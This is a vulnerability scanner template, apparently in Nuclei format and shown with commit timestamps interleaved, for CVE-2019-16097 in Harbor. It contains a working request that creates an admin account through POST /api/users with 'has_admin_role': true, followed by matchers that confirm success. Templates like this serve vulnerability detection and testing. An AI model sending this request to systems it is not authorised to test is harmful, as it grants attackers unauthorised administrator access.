2021-02-19 06:08:32 +00:00
id : CVE-2019-16097
info :
name : Harbor Enables Privilege Escalation From Zero to admin
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : medium
2021-03-30 06:50:02 +00:00
description : |
core/api/user.go in Harbor 1.7.0 through 1.8.2 allows non-admin users to create admin accounts via the POST /api/users API, when Harbor is setup with DB as authentication backend and allow user to do self-registration. Fixed version: v1.7.6 v1.8.3. v.1.9.0. Workaround without applying the fix : configure Harbor to use non-DB authentication backend such as LDAP.
2021-08-19 13:17:27 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
- https://github.com/goharbor/harbor/issues/8951
2021-02-19 06:53:34 +00:00
tags : cve,cve2019,intrusive,harbor
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
cvss-score : 6.50
cve-id : CVE-2019-16097
cwe-id : CWE-862
2021-02-19 06:08:32 +00:00
requests :
- method : POST
path :
- '{{BaseURL}}/api/users'
headers :
Content-Type : application/json
body : |
2021-08-19 14:44:46 +00:00
{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@example.com", "realname": "poc" }
2021-02-19 06:08:32 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "username has already been used"
2021-02-19 06:53:34 +00:00
- "Location: /api/users/"
part : all
condition : or
2021-02-19 06:08:32 +00:00
- type : status
status :
- 201
- 409
2021-03-30 06:49:14 +00:00
condition : or